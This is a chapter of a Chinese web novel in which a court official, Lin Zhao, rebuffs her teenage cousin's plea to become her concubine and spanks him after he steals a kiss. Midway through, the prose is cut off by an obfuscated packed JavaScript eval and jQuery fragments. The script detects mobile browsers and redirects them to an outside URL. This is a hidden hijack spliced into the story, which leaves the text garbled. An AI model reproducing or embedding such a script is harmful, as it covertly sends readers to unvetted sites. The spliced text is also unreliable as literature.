31. 打表弟屁股

作品:《掌上众卿

    次日一早,林昭去户部之前没忘给陈鸾布下任务。


    “虽说那林盛歪打正着,可他行事总要有动机。敬贤帮我查过了府里,昨日四妹妹跟大嫂聊了几句,不久大哥就出门了,只怕症结就在这里。”


    陈鸾心有疑虑,却不会反驳,颔首表示晓得了。


    林昭继续道:“我不知他存着怎样的心,多防备总没错。你今儿抽空着人假扮小贼吸引衙役往你们玩儿的地方转。剩下的见机行事。”


    但愿是她多心了。


    若是下个月再作恶,那时侯一切尘埃落定,倒也不怕一只软脚虾搞事,但眼下,多一重准备总没坏处。


    好在陈鸾办事她放心。抛开这是自己的侍夫不谈,他本人也是颇具才干的俊杰。


    今日约的早,加上要去接马氏,陈鸾早饭过后就领着林晴出门去了。


    事实证明,她的安排并非多事,当真免了一场祸端。


    时至中午,林昭刚出了户部,就瞧见了一道身着浅绿色的年轻身影站在他马车旁边,正在跟马夫盘谈着什么。


    即便只是侧颜的一角,林昭还是一眼认出了柳季。


    柳季耳聪目明,闻声回眸就送来一个美艳绝伦的笑。


    “昭姐姐,可算叫我等到你了。”


    他才十五六,身子未长成,两步迎过来,个头比林昭还矮一些。


    虽说怀疑他别有心思,可此刻低眉看他,还是会下意识的将他当做孩子。


    还是个漂亮如娃娃一般的孩子。


    “这里离大理寺可有些远。”林昭只道。


    柳季皱眉:“昭姐姐是故意不听我说话的?”


    “没,只是我与贵府私交不多,也怕犯了忌讳得罪季兄弟。”


    林昭话说的无懈可击,显然不准备深入交流。


    柳季左右看一眼,确定连马夫都很有眼力见的退到了不碍事的地方,才踮起脚尖在林昭耳旁低声说了句什么。


    林昭一怔,当时反问:“你如何知道的?偷听柳绍的?”


    柳季抬眉,似乎抓住了什么,林昭清了清嗓子,掩盖下自己失言一事。


    “不管你如何知道的,这样没谱的事少说为妙。你姐夫炖了火腿鸭子,我就不陪兄弟了。”


    翻身上马车,柳季却抓着马车不放。只耍赖道:


    “既然说了是姐夫的手艺,难道兄弟就是不配吃的吗?昭姐姐何时这般不懂待客之道?”


    林昭在马车内坐定,看着帘子后头伸进来的一张小脸。


    “我的名声你是知道的,确定要这么去我府上?不怕连累名声?”


    倒退两个月林昭还算痴情的代表,如今那痴情两个字早喂了狗。不知多少人调笑她是年青一代有名的风流人物。


    原因无他,一前一后连纳两侍,还都出身不俗。


    最近家里有儿子的同僚都不敢与她多说,生怕带累了自家小辈。他们家儿子就算准备出嫁,那也是为人正室,当正头郎君。


    高门出身却为人侧室这种事儿,从古至今都不是主流。


    林昭都这样说了,柳季却羞的低了脑袋,随后又抬眉,半挑衅半羞赧道。


    “我不怕!”


    不知是不是年岁的原因,他的眼睛尤其大,比进贡的西域上品葡萄还要大。


    被这么一双眼睛直勾勾的盯着,拒绝的话都被赌进了嗓子眼。


    人到底钻进了马车。坐在林昭右边的下首位,好奇的打量里面的装饰。


    论理这其实不大礼貌,偏偏他年岁尚小,不会有人觉得他不对。


    不管怎样,他模样周正,身上也香香的,这样的人坐在自己的马车里,林昭并不抗拒。


    等马车摇摇晃晃的走出去一段距离,林昭才凉凉道。


    “凡事总有个缘故,你来告知我大哥算计四妹一事,我且不问你消息来路,但你总要告诉我你想从中得到什么。你姐姐应当不喜你来我这里,有什么叫你连名声也不顾非要念着我?”


    柳季托腮,乖乖的听完她说的话,可乖巧的人嘴里却吐出石破天惊的话。


    “想你娶我。”


    ……


    林昭想他坦白,但也没必要坦的这么白。


    “咳……你知不知道你在说什么?”


    为了不被当成小孩子的戏言,柳季只能将话说的更明白些。


    “长姐开始给我议亲了,都是她同僚亲近的人家。虽说家境都不错,可归根究底,不就是卖了我好给她铺路吗?”


    亮如星辰的眸子里闪过瞬间的麻木,转而又挂上了林昭见惯的笑脸。


    林昭心底百味杂陈,又有些讽刺。


    瞧,男人心里其实都很清楚。即便是如今,也有许多人言之凿凿的同家中女眷说什么“给你寻个好依靠”“虽是出嫁但永远是一家人”“娘家是你的后盾”。


    可说的再天花乱坠,也难掩背后的本质。


    只是如今这些话不再是单独说给女子听得了。


    当男子也被放在相同位置的时候,他们比谁都清醒。


    “所以你宁愿给我当小侍?”林昭挑眉。


    柳季抿唇不答,就这么幽幽看着她。


    林昭气笑了:“总不是叫我休了正夫改娶你吧。”


    那真真想瞎了心了。她家敬贤好着呢。


    “就不能是侍夫吗?”柳季幽幽道。


    这回林昭真笑了。


    “出息,有区别吗?”


    “有的,侍夫能进族谱。”


    “那也是妾,跪着的奴才就比趴着的奴才更高贵了?”


    林昭自然心里也跟明镜似的。


    她虽然对自己的侍夫爱若珍宝,不会给丝毫委屈。但正夫与侍夫在她这里还是泾渭分明的。


    她会做到自己能做到的一切,不过本着身为表姐的一点良心,并不想柳季走这条路。


    话赶话到了这里,柳季似乎也忘了本意,近乎脱口而出道:“我乐意。”


    这话就带赌气的成分了。


    林昭无奈,倚着靠枕转头就想开了。


    “罢了,我与你争论什么。乳臭未干的小屁孩,心思倒不少。虽说你对你姐姐颇有微词,可我与她政见不合也是不争的事实,咱们俩隔着天谴,我也做不出娶表弟为侍这种荒唐事,你歇了心思吧。”


    话到此处,换个人就不会继续自取其辱了。


    就算两家不和,林昭也不会为难一个小孩子,好生招待后原原本本的送回去,相信柳绍也不会说什么。


    柳季知道她心硬,也不再言语纠缠,就直勾勾的看着。


    “你就只会这一招?”林昭小时候可不记得他这么难缠。


    印象里他一直怯生生的往舅母身后躲,多一个眼神对视都不敢。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118999|194596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>犹记得舅母无奈解释,说他不爱吱声,五岁之前一直以为是个小哑巴。后开着急开口才知道只是生性腼腆。


    谁成想长大成了这么个祸害。


    “那你不许躲。”


    林昭还没明白这话什么意思,便瞧见人欺身上来,飞快的在她嘴唇上啄了一下。


    ……


    只蜻蜓点水的一下,柳季自己先面色爆红,怔怔的咬着嘴唇,眼睛有些湿润。


    被占便宜的林昭也是半晌才回过神来。


    他!他怎么敢的?


    她这么想的,也是这么问的。


    “你怎么敢的?”


    “这算不算没了贞节?表姐当负责了。”


    话落,整个人就被林昭拉的扑倒过去。


    只是迎接他的不是表姐温柔的怀抱,而是将人架在腿上,下一秒蒲扇似的巴掌就落在了他屁股上。


    “啪!”


    “昭姐姐!”


    “啪!”


    “啊!别打了!”


    “啪!”


    腰背一把搂住,叫他翘起来方便使力,林昭并未怜香惜玉。


    她身体健壮,尤其应付男人的时候手狠心黑,这一个个巴掌可不是摆设,打的实打实跟小板子似的,不用扒裤子也能确定肯定是肿了的。


    要的就是肿了。


    这熊孩子,再不给点教训不知道还能做出什么来。


    一顿屁股打完了,再扯着头发将人拉起来,正好瞧见小男孩梨花带雨的一张脸,委屈的跟什么似的。


    “疼!”依旧理直气壮。


    林昭将人按回去就要再打,柳季已经连滚带爬的逃开了。


    “我娘都没打过我!”柳季控诉道。


    “那你可以喊我娘。”林昭毫不客气。


    此时的柳季才算有几分孩子的样子,想要悄咪咪的做回右手边,结果后臀一接触就疼的吸了口凉气。


    结果马车一个摇晃,人站不稳重重做下去,换来一声压低了的惨叫。


    一直到了伯爵府门口,柳季才算是哭够了。


    顶着一张花猫似的小脸,没再放肆依旧用目光拷问着林昭的良心。


    “知道为什么打你吗?”


    “不该用贞节威胁你。”原以为用周氏的路子就能走通,谁知道这么麻烦。


    “屁,亲个嘴子就叫失贞了?男子若不点守宫砂,谁知道你是不是处子。这个在我这没用。”


    话说的有些糙了,柳季动动喉咙没吱声。


    林昭继续道:“我是恨铁不成钢。你若不甘心,自有百八种法子脱困。圣上再如何重用女官,到底也没堵死男官的路子。你不想着读书考功名往外闯,非要用这种下三滥的法子自轻自贱!”


    “还说什么你娘都没打过你,我不信舅母在天之灵,看你这般能不打你!”


    这一刻,她们只是单纯的姐弟。


    是一个恨铁不成钢,又盼望弟弟成材的好姐姐。


    动手打,才显得她的一片真心。不然也犯不着这般将人得罪狠了。


    柳季埋头不言,林昭只当是说服了。


    挑开帘子下马车。


    “如此你进门吃口饭吧,我会着人去你家找你姐姐,今日的事儿,我会详略得当的跟她说清楚。就算是为了脸面,她短期内应该也不会强逼你。但如何收拾你你就自求多福吧。”